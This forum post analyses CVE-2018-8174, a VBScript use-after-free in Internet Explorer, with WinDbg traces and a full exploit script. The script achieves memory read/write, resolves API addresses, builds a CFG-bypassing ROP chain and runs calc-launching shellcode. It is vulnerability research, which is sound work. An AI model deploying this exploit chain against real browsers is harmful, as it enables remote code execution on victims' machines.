首页
社区
课程
招聘
IE VBScript 漏洞之CVE-2018-8174
2019-1-13 21:13 8268

IE VBScript 漏洞之CVE-2018-8174

2019-1-13 21:13
8268

之前在IE VBScript 漏洞之CVE-2014-6332中,总结学习了VBScript中的关键数据结构,故在这篇中不再总结。如果错误,请指正,谢谢。

漏洞分析

POC

启用页堆

gflags.exe /i iexplore.exe +hpa
<!doctype html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="x-ua-compatible" content="IE=10">
<meta http-equiv="Expires" content="0">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-control" content="no-cache">
<meta http-equiv="Cache" content="no-cache">
<body>
<script language="vbscript">
Dim array()
Dim array2(1)
Class MyClass
    Private Sub Class_Terminate
           Set array2(0)=array(1)
           array(1)=1
    End Sub
End Class
Redim array(1)
Set array(1)=New MyClass
Erase array
array2(0)=0
</script>
</body>
</html>

捕获异常如下,我们可以看到eax引用的地址已经被释放了,也就是对应在poc中的Erase array,调用Erase触发了Class_Terminate函数,在Class_Terminate函数中,将array(1) 赋值给了array2,然后又平衡了其引用计数,使得array2成了指向MyClass的悬挂指针,访问array2造成了访问异常。

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c607fd0 ebx=0aa8af90 ecx=00000009 edx=00000002 esi=0aa8af90 edi=00000009
eip=75a24971 esp=08aadf7c ebp=08aadf84 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
OLEAUT32!VariantClear+0xb3:
75a24971 8b08            mov     ecx,dword ptr [eax]  ds:002b:0c607fd0=????????
0:005> !heap -p -a eax
    address 0c607fd0 found in
    _DPH_HEAP_ROOT @ a31000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                     a33618:          c607000             2000
    6d9c90b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    77e70acc ntdll!RtlDebugFreeHeap+0x0000002f
    77e2a967 ntdll!RtlpFreeHeap+0x0000005d
    77dd32f2 ntdll!RtlFreeHeap+0x00000142
    772c98cd msvcrt!free+0x000000cd // eax所指向的内存已经被释放掉了
    6bc2406c vbscript!VBScriptClass::`vector deleting destructor'+0x00000019
    6bc2411a vbscript!VBScriptClass::Release+0x00000043
    75a24977 OLEAUT32!VariantClear+0x000000b9
    75a3e375 OLEAUT32!ReleaseResources+0x000000a3
    75a3e003 OLEAUT32!_SafeArrayDestroyData+0x00000048
    75a45d7d OLEAUT32!SafeArrayDestroyData+0x0000000f
    75a45d63 OLEAUT32!Thunk_SafeArrayDestroyData+0x00000039
    6bc6267f vbscript!VbsErase+0x00000057
    ······

调试

首先,我们将poc修改成如下。看一下正常的释放过程。

Dim array()
Dim array2(1)
Class MyClass
End Class
Redim array(1)
Set array(1)=New MyClass
IsEmpty(array)
Erase array
0:005> p
eax=0c3c4fd0 ebx=0c3c4fd0 ecx=69381748 edx=00000000 esi=76e813b0 edi=0c3c4fd4
eip=69391f08 esp=0894f524 ebp=0894f534 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
vbscript!VBScriptClass::Release+0x15:
69391f08 ffd6            call    esi {kernel32!InterlockedDecrementStub (76e813b0)}
0:005> dd edi
0c3c4fd4  00000001 00000000 0c28df88 00000a08
0c3c4fe4  00000000 00000000 00000000 00000000
vbscript!VBScriptClass::Release+0x15:
69391f08 ffd6            call    esi {kernel32!InterlockedDecrementStub (76e813b0)} //引用计数减一
0:005> dps 0c3c4fd0
0c3c4fd0  69381748 vbscript!VBScriptClass::`vftable'
0c3c4fd4  00000000 //引用计数为0,VBScriptClass被释放
0c3c4fd8  00000000
0c3c4fdc  0c28df88
0c3c4fe0  00000a08
0c3c4fe4  00000000
0c3c4fe8  00000000
0c3c4fec  00000000
0c3c4ff0  00000000
0c3c4ff4  0c136fe4

我们来看看poc中MyClass在VbsScript中的释放过程。

0:005> g
vbscript!VbsIsEmpty:
68f9c206 8bff            mov     edi,edi
0:005> dd poi(esp+c)
0a100fa0  c0c0600c c0c0c0c0 0ce59f88 0c24cfe8
0a100fb0  0000400c 00000000 0ce59fb8 00000000
0a100fc0  0000400c 00000000 0ce59f7c 00000000
0a100fd0  c0c00000 c0c0c0c0 c0c0c0c0 c0c0c0c0
0a100fe0  00000000 00000000 c0c0c0c0 c0c0c0c0
0a100ff0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0a101000  ???????? ???????? ???????? ????????
0a101010  ???????? ???????? ???????? ????????
0:005> dd poi(0ce59f88 )
0c24cfe8  08800001 00000010 00000000 0bc3afe0
0c24cff8  00000002 00000000 ???????? ????????
0c24d008  ???????? ???????? ???????? ????????
0c24d018  ???????? ???????? ???????? ????????
0c24d028  ???????? ???????? ???????? ????????
0c24d038  ???????? ???????? ???????? ????????
0c24d048  ???????? ???????? ???????? ????????
0c24d058  ???????? ???????? ???????? ????????
0:005> dt ole32!tagSAFEARRAY 0c24cfe8
   +0x000 cDims            : 1
   +0x002 fFeatures        : 0x880
   +0x004 cbElements       : 0x10
   +0x008 cLocks           : 0
   +0x00c pvData           : 0x0bc3afe0
   +0x010 rgsabound        : [1] tagSAFEARRAYBOUND
0:005> dd 0x0bc3afe0
0bc3afe0  00000000 00000000 00000000 00000000
0bc3aff0  c0c00009 c0c0c0c0 0a108fd0 c0c0c0c0
0bc3b000  ???????? ???????? ???????? ????????
0bc3b010  ???????? ???????? ???????? ????????
0bc3b020  ???????? ???????? ???????? ????????
0bc3b030  ???????? ???????? ???????? ????????
0bc3b040  ???????? ???????? ???????? ????????
0bc3b050  ???????? ???????? ???????? ????????
0:005> dps 0a108fd0  l 10
0a108fd0  68f81748 vbscript!VBScriptClass::`vftable'
0a108fd4  00000001 //此时引用计数为1
0a108fd8  0a10cf78
0a108fdc  0ce4df88
0a108fe0  00000f90
0a108fe4  00000000
0a108fe8  00000000
0a108fec  0a110efc
0a108ff0  00000000
0a108ff4  0cd18fe4
0a108ff8  00000000
0a108ffc  00000000
//在Erase array 之后,我们看到array2(1)指向了已经被释放的内存。
0:005> g
vbscript!VbsIsEmpty:
68f9c206 8bff            mov     edi,edi
0:005> dd poi(esp+c)
0a100fa0  c0c0600c c0c0c0c0 0ce59fc4 0c248fe8
0a100fb0  0000400c 00000000 0ce59fb8 00000000
0a100fc0  0000400c 00000000 0ce59f7c 00000000
0a100fd0  c0c00000 c0c0c0c0 c0c0c0c0 c0c0c0c0
0a100fe0  00000000 00000000 c0c0c0c0 c0c0c0c0
0a100ff0  c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0a101000  ???????? ???????? ???????? ????????
0a101010  ???????? ???????? ???????? ????????
0:005> dt ole32!tagSAFEARRAY poi(0ce59fc4)
   +0x000 cDims            : 1
   +0x002 fFeatures        : 0x892
   +0x004 cbElements       : 0x10
   +0x008 cLocks           : 0
   +0x00c pvData           : 0x0c24afe0
   +0x010 rgsabound        : [1] tagSAFEARRAYBOUND
0:005> dd 0x0c24afe0
0c24afe0  c0c00009 c0c0c0c0 0a108fd0 c0c0c0c0
0c24aff0  00000000 00000000 00000000 00000000
0:005> dps 0a108fd0 //array2(1) 指向的内存已经被释放。
0a108fd0  ????????
0a108fd4  ????????
0a108fd8  ????????
0a108fdc  ????????
0a108fe0  ????????
0a108fe4  ????????
0a108fe8  ????????

漏洞利用

<!doctype html>
<html lang="en">
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
<script language="vbscript">

Dim gNumber
Dim arrayA(6),arrayB(6)
Dim index
Dim gArray(40)
Dim hexA, hexB
Dim address
Dim memClassA,memClassB
Dim swapA,swapB
Dim NtContinueAddr,VirtualProtectAddr

hexA = Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
hexB = Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")
address = 0
index = 0

Function GetUint32(Addr)

   Dim value
   memClassA.mem(address + 8) = Addr + 4
   memClassA.mem(address) = 8                'type string

   value = memClassA.P0123456789
   memClassA.mem(address) = 2
   GetUint32 = value
End Function

Function readWord(addr)
   readWord = GetUint32(addr) And 65535
End Function

Function readByte(addr)
   readByte = GetUint32(addr) And (&hFF)
End Function

Function GetBaseByDOSmodeSearch(in_addr)
   Dim addr
   addr = in_addr And &hFFFF0000
   Do While GetUint32(addr+&h68)<>&h206E6920 Or GetUint32(addr+&h6C)<>&h20534F44
       addr = addr-&h10000
   Loop
   GetBaseByDOSmodeSearch = addr
End Function

Function StrCompWrapper(addr, szName)

   Dim str,i
   str = ""
   For i = 0 To Len(szName) - 1
       str = str & Chr(readByte(addr+i))
   Next
   StrCompWrapper = StrComp(UCase(str), UCase(szName))
End Function

Function GetBaseFromImport(base_address,name_input)
   Dim import_rva,nt_header,descriptor,import_dir
   Dim addr
   nt_header = GetUint32(base_address + (&h3c))
   import_rva = GetUint32(base_address + nt_header + &h80)
   import_dir = base_address + import_rva
   descriptor = 0

   Do While True
       Dim NameOffset
       NameOffset = GetUint32(import_dir + descriptor * (&h14)+&hC)
       If NameOffset = 0 Then
           GetBaseFromImport = &hBAAD0000
           Exit Function
       Else
           If StrCompWrapper(base_address + NameOffset, name_input) = 0 Then
               Exit Do
           End If
       End If
       descriptor = descriptor+1
   Loop
   addr = GetUint32(import_dir + descriptor * (&h14)+&h10)
   addr = GetUint32(base_address + addr)
   GetBaseFromImport = GetBaseByDOSmodeSearch(addr)

End Function

Function GetProcAddr(dll_base,name)

   Dim p, export_dir, index
   Dim function_rvas, function_names, function_ordin

   Dim Ordin
   p = GetUint32(dll_base + &h3c)
   p = GetUint32(dll_base + p + &h78)
   export_dir = dll_base + p

   function_rvas = dll_base + GetUint32(export_dir + &h1c)
   function_names = dll_base + GetUint32(export_dir + &h20)
   function_ordin = dll_base + GetUint32(export_dir + &h24)
   index = 0
   Do While True
       Dim offset
       offset = GetUint32(function_names + index * 4)
       If StrCompWrapper(dll_base + offset, name) = 0 Then
           Exit Do
       End If
       index = index+1
   Loop
   Ordin = readWord(function_ordin + index * 2)
   p = GetUint32(function_rvas + Ordin * 4)
   GetProcAddr = dll_base + p
End Function

Function GetShellcode()
   hexCode = Unescape("%u0000%u0000%u0000%u0000") & Unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u652e%u6578%u4100%u0065%u0000%u0000%u0000%u0000%u0000%ucc00%ucccc%ucccc%ucccc%ucccc")
   GetShellcode = hexCode
End Function

Function BuildVirtualTable
   Dim i,szNtContinueAddr,str,szAddr0,szAddr8,szAddr16,szAddr24

   szNtContinueAddr = NumberToString(NtContinueAddr, 8)
   szAddr0 = Mid(szNtContinueAddr,1,2)
   szAddr8 = Mid(szNtContinueAddr,3,2)
   szAddr16 = Mid(szNtContinueAddr,5,2)
   szAddr24 = Mid(szNtContinueAddr,7,2)

   str = ""
   str = str & "%u0000%u" &szAddr24 &"00"
   For i = 1 To 3
       str = str & "%u" &szAddr8 &szAddr16
       str = str & "%u" &szAddr24 &szAddr0
   Next
   str = str & "%u" & szAddr8 & szAddr16
   str = str & "%u00" & szAddr0

   BuildVirtualTable = Unescape(str)

End Function

Function NumberToString(ByVal Number, ByVal Length)
   hNumber = Hex(Number)
   If Len(hNumber) < Length Then
       hNumber = String(Length - Len(hNumber), "0") & hNumber    'pad allign with zeros
   Else
       hNumber = Right(hNumber, Length)
   End If
   NumberToString = hNumber
End Function

Function EscapeAddress(ByVal value)
   Dim High,Low
   High = NumberToString((value And &hFFFF0000) / &h10000, 4)
   Low = NumberToString(value And &hFFFF, 4)
   EscapeAddress = Unescape("%u"&Low&"%u"&High)
End Function

Function WrapShellcodeWithNtContinueContext(ShellcodeAddrParam) 'bypass cfg
   Dim ropChain

   'pad1 0 - 10FDC
   ropChain = String(34798, Unescape("%u4141"))
   'rop chain
   ropChain = ropChain & EscapeAddress(ShellcodeAddrParam)
   ropChain = ropChain & EscapeAddress(ShellcodeAddrParam)
   ropChain = ropChain & EscapeAddress(&h3000)
   ropChain = ropChain & EscapeAddress(&h40)
   ropChain = ropChain & EscapeAddress(ShellcodeAddrParam-8)
   ropChain = ropChain & String(6, Unescape("%u4242"))
   ropChain = ropChain & BuildVirtualTable()
   'pad2
   ropChain = ropChain & String((&h80000 - LenB(ropChain)) / 2, Unescape("%u4141"))
   WrapShellcodeWithNtContinueContext = ropChain
End Function

Function ExpandWithVirtualProtect(ropAddr)
   Dim szContext
   Dim Addr
   '0 - 10FDC
   Addr = ropAddr + &h23
   szContext = ""
   szContext = szContext & EscapeAddress(Addr)
   szContext = szContext & String((&hb8 - LenB(szContext)) / 2, Unescape("%4141"))
   szContext = szContext & EscapeAddress(VirtualProtectAddr)
   szContext = szContext & EscapeAddress(&h1b)
   szContext = szContext & EscapeAddress(0)
   szContext = szContext & EscapeAddress(ropAddr)
   szContext = szContext & EscapeAddress(&h23)
   szContext = szContext & String((&400-LenB(szContext))/2,Unescape("%u4343"))
   ExpandWithVirtualProtect = szContext

End Function

Sub ExecuteShellcode
   memClassA.mem(address) = &h4d
       Msgbox "ExecuteShellcode"
   memClassA.mem(address + 8) = 0
End Sub
Class claA

Private Sub Class_Terminate()
   Set arrayA(index) = gNumber(1)
   index = index + 1
   gNumber(1) = 1
End Sub
End Class

Class claB
Private Sub Class_Terminate()
   Set arrayB(index)=gNumber(1)
   index=index+1
   gNumber(1)=1
End Sub
End Class

Class testClass
End Class

Class memClass
Dim mem

Function P
End Function
Function SetProp(Value)
    mem = Value
    SetProp = 0
End Function
End Class

Class readMemClass
Dim mem
Function P0123456789
   P0123456789 = LenB(mem(address+8))
End Function

Function SPP
End Function
End Class

Class swapObjectA
    Public Default Property Get P
        Dim object
        P = 174088534690791e-324
        For i = 0 To 6
            arrayA(i) = 0
        Next
        Set object = New readMemClass
        object.mem = hexA

        For i = 0 To 6
            Set arrayA(i) = object
        Next
    End Property
End Class

Class swapObjectB
    Public Default Property Get P
        Dim object
        P=636598737289582e-328
        For i = 0 To 6
            arrayB(i) = 0
        Next
        Set object = New readMemClass
        object.mem = hexB
        For i = 0 To 6
            Set arrayB(i) = object
        Next
    End Property
End Class

Set swapA = New swapObjectA
Set swapB = New swapObjectB
Sub UAF
    For i = 0 To &h11
        Set gArray(i) = New testClass
    Next
    For i = &h14 To &h26
        Set gArray(i) = New memClass
    Next
    index = 0
    For i = 0 To 6
        ReDim gNumber(1)
        Set gNumber(1) = New claA
        Erase gNumber
    Next

    Set memClassA = New memClass //申请memClass进行占位
    arrayB(0) = 0
    index = 0
    For i = 0 To 6
        ReDim gNumber(1)
        Set gNumber(1) = New claB
        Erase gNumber
    Next
    Set memClassB = New memClass ////申请memClass进行占位

End Sub

Sub InitObjects
    memClassA.SetProp(swapA)
    memClassB.SetProp(swapB)
    address = memClassB.mem
End Sub

Sub testSub
End Sub

Function GetMemValue
   memClassA.mem(address) = 3
   GetMemValue = memClassA.mem(address + 8)
End Function

Sub SetMemValue(ByRef in_Ref)
   memClassA.mem(address + 8) = in_Ref
End Sub

Function LeakVBAddr
   On Error Resume Next
   Dim pCScriptEntryPointObject
   pCScriptEntryPointObject = testSub
   pCScriptEntryPointObject = null
   SetMemValue pCScriptEntryPointObject
   LeakVBAddr = GetMemValue()
End Function

Sub StartExploit
   UAF
   InitObjects
   pCScriptEntryPointObject = LeakVBAddr()
   pVTable = GetUint32(pCScriptEntryPointObject)
   vbs_base = GetBaseByDOSmodeSearch(pVTable)
   msv_base = GetBaseFromImport(vbs_base, "msvcrt.dll")
   krb_base = GetBaseFromImport(msv_base, "kernelbase.dll")
   ntd_base = GetBaseFromImport(msv_base, "ntdll.dll")
   VirtualProtectAddr = GetProcAddr(krb_base, "VirtualProtect")
   NtContinueAddr = GetProcAddr(ntd_base, "NtContinue")
   SetMemValue GetShellcode()
   ShellcodeAddr = GetMemValue() + 8
   '同样的方法获得shellcode地址
   SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr)
   ropAddr = GetMemValue() + 69596
   'ExpandWithVirtualProtect 构建CONTEXT
   SetMemValue ExpandWithVirtualProtect(ropAddr)
   GetMemValue()
   ExecuteShellcode

End Sub
StartExploit
</script>
</body>
</html>

构造数组

在Exploit中,当执行完UAF函数,使用memclass函数对释放的内存进行站位。

0:005> dt ole32!tagSAFEARRAY poi(poi(esp+c)+c)
   +0x000 cDims            : 1
   +0x002 fFeatures        : 0x892
   +0x004 cbElements       : 0x10
   +0x008 cLocks           : 0
   +0x00c pvData           : 0x0051e630
   +0x010 rgsabound        : [1] tagSAFEARRAYBOUND
0:005> dd 0x0051e630
0051e630  00000009 00000000 02aa0858 00000000
0051e640  6bcb0009 02aa085c 02aa0858 6bcb4211
0051e650  6bcb0009 02aa085c 02aa0858 6bcb4211
0051e660  6bcb0009 02aa085c 02aa0858 6bcb4211
0051e670  6bcb0009 02aa085c 02aa0858 6bcb4211
0051e680  6bcb0009 02aa085c 02aa0858 6bcb4211
0051e690  6bcb0009 02aa085c 02aa0858 6bcb4211
0051e6a0  3192fbe7 88000000 00000000 00000000

下面我们来看下InitObjects函数的功能,SetProp函数触发 SetProp的Public Default Property Get P函数执行,在此函数中,将memClass再次释放,并再次使用readMemClass进行站位,并将hexA赋值给readMemClass的成员变量mem,将并将返回的P = 174088534690791e-324(00000005 02aa01dc 00000000 0000200c)复制给memClass的成员变量mem。因为
readMemClass和memClass的mem变量地址相差0xc,因此出现了内存重叠。对memClass的成员变量mem赋值造成了readMemClass.mem 的类型变为了一个大小为0x7FFFFFFF每个元素占1Byte的variant,最终实现任意地址读写。

 

在执行InitObjects函数前,memClass的内存布局

执行完InitObjects函数之后,我们来看先内存布局

0:005> dt ole32!tagSAFEARRAY poi(poi(esp+c)+c)
   +0x000 cDims            : 1
   +0x002 fFeatures        : 0x892
   +0x004 cbElements       : 0x10
   +0x008 cLocks           : 0
   +0x00c pvData           : 0x0051e630
   +0x010 rgsabound        : [1] tagSAFEARRAYBOUND
0:005> dd 0x0051e630
0051e630  02aa0009 00000000 02aa0858 00000000
0051e640  02aa0009 00000000 02aa0858 00000000
0051e650  02aa0009 00000000 02aa0858 00000000
0051e660  02aa0009 00000000 02aa0858 00000000
0051e670  02aa0009 00000000 02aa0858 00000000
0051e680  02aa0009 00000000 02aa0858 00000000
0051e690  02aa0009 00000000 02aa0858 00000000
0051e6a0  3192fbe7 88000000 00000000 00000000
0:005> dd 02aa0858//readMemClass
02aa0858  6bcb1748 00000001 02aa72d0 0067ea60
02aa0868  000008a8 00000000 00000000 00000000
02aa0878  00000000 0053bac4 00000000 02aa0820
02aa0888  3316580a 8c000000 6bcbce78 6bcc3100
02aa0898  6bcc30f0 00000001 0067ea60 00524150
02aa08a8  00524150 0326ec94 00000000 00000000
02aa08b8  00000000 00000000 33165803 80000000
02aa08c8  6bcb00b1 6bcc3100 6bcc30f0 00000000
0:005> du 0053bac4
0053bac4  "readMemClass"
0:005> dd 02aa72d0
02aa72d0  02aa9578 000000b8 00000100 00000100
02aa72e0  00004000 02aa957c 02aa961c 02aa3018
02aa72f0  0000000f 00000003 00000040 00000003
02aa7300  00000014 02aa7308 02aa957c 02aa95c4
02aa7310  02aa95fc 00000000 00000000 00000000 //02aa95fc = readMemClass.mem
02aa7320  00000000 00000000 00000000 00000000
02aa7330  00000000 00000000 00000000 00000000
02aa7340  00000000 00000000 00000000 00000000
0:005> dd 02aa95fc-c
02aa95f0  00000005 02aa01dc 00000000 0000200c //P
02aa9600  00000000 0053baec 00000000 00000000
02aa9610  00000000 0000822f 00000006 00000000
02aa9620  00000000 00000003 00000000 0065006d
02aa9630  0000006d 00000000 00000000 00000000
02aa9640  00000000 00000000 00000000 00000000
0:005> dd 0053baec
0053baec  08800001 00000001 00000000 00000000
0053bafc  7fffffff 00000000 00630000 3192b172
0053bb0c  8000003d 00650160 00200077 00650072
0053bb1c  00640061 0065004d 0043006d 0061006c

获得DLL基址

在Exploit中,通过相同的方法,将memClassB.mem构造成了vblong类型用于泄露地址。通过以下
方法泄露CScriptEntryPoint对象的地址。然后通过对象地址获得vbs的基址。通过VbScript的导出表获得msvcrt.dll的基址,获得ntdll的基址,最终获取了NtContinue、VirtualProtect函数地址。。

Function GetMemValue
   memClassA.mem(address) = 3
   GetMemValue = memClassA.mem(address + 8)
End Function

Sub SetMemValue(ByRef in_Ref)
   memClassA.mem(address + 8) = in_Ref
End Sub

Function LeakVBAddr
   On Error Resume Next
   Dim pCScriptEntryPointObject
   pCScriptEntryPointObject = testSub
   pCScriptEntryPointObject = null
   SetMemValue pCScriptEntryPointObject
   LeakVBAddr = GetMemValue()
End Function

调试验证

0:005> dd poi(esp+c)
0084f350  00000003 00000000 03b6c06c 00000000
0084f360  02a10003 00595af0 02a17350 1a000218
0084f370  02f3cdc4 0084f3a0 0084f380 1a000218
0084f380  00000001 00000080 02a17350 1a000218
0084f390  00000000 00000000 02a18608 00000000
0084f3a0  02f3d008 0084f3c0 02a10694 00000000
0084f3b0  02f30000 0084f4c0 00000000 00000000
0084f3c0  02f3d24c 0084f4c0 02a18608 00000000
0:005> dd 03b6c06c
03b6c06c  00000002 7771e026 02a10003 00595af0
03b6c07c  02a17350 1a000218 00000000 2d1edd67
03b6c08c  80000000 00000020 00000000 00000000
03b6c09c  00000000 00000000 00000000 00000000
03b6c0ac  00000000 2d1edd60 80000000 00000025
03b6c0bc  00000000 00000000 00000000 00000000
03b6c0cc  00000000 00000000 00000000 2d1edd6d
03b6c0dc  80000000 0000002a 00000000 00000000
0:005> ln poi(02a17350 )
(70b44934)   vbscript!CScriptEntryPoint::`vftable'   |  (70b5ab54)   vbscript!CEntryPointDispatch::`vftable'
Exact matches:
    vbscript!CScriptEntryPoint::`vftable' = <no type information>
Function GetBaseByDOSmodeSearch(in_addr)
   Dim addr
   addr = in_addr And &hFFFF0000
   Do While GetUint32(addr+&h68)<>&h206E6920 Or GetUint32(addr+&h6C)<>&h20534F44 //in DOS
       addr = addr-&h10000
   Loop
   IsEmpty(addr)
   GetBaseByDOSmodeSearch = addr
End Function

获取指定地址的内存数据

Exploit 通过如下的方法获得执行参数的地址内存数据,将address指向的内存混淆成bstr,通过lenB获得改地址前4个字节的数据。

Function GetUint32(Addr)
   Dim value
   memClassA.mem(address + 8) = Addr + 4
   memClassA.mem(address) = 8                'type string
   value = memClassA.P0123456789
   memClassA.mem(address) = 2
   GetUint32 = value
End Function

ShellCode执行

Exploit中,通过和获得关键DLL基址同样的手法,获得shellCode地址,然后构建ROP链,通过精心控制使代码执行ntdll!ZwContinue函数,然后利用任意读写的手段修改某个VAR的type类型为0x4d,再赋值为0让虚拟机执行VAR::Clear函数。最终实现shellcode执行。

Sub ExecuteShellcode
   memClassA.mem(address) = &h4d
   memClassA.mem(address + 8) = 0
End Sub

阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!

最后于 2019-1-14 09:53 被Heavenml编辑 ,原因:
收藏
点赞4
打赏
分享
最新回复 (1)
雪    币: 18869
活跃值: (60323)
能力值: (RANK:125 )
在线值:
发帖
回帖
粉丝
Editor 2019-1-23 16:02
2
0
赞一下,感谢分享!
游客
登录 | 注册 方可回帖
返回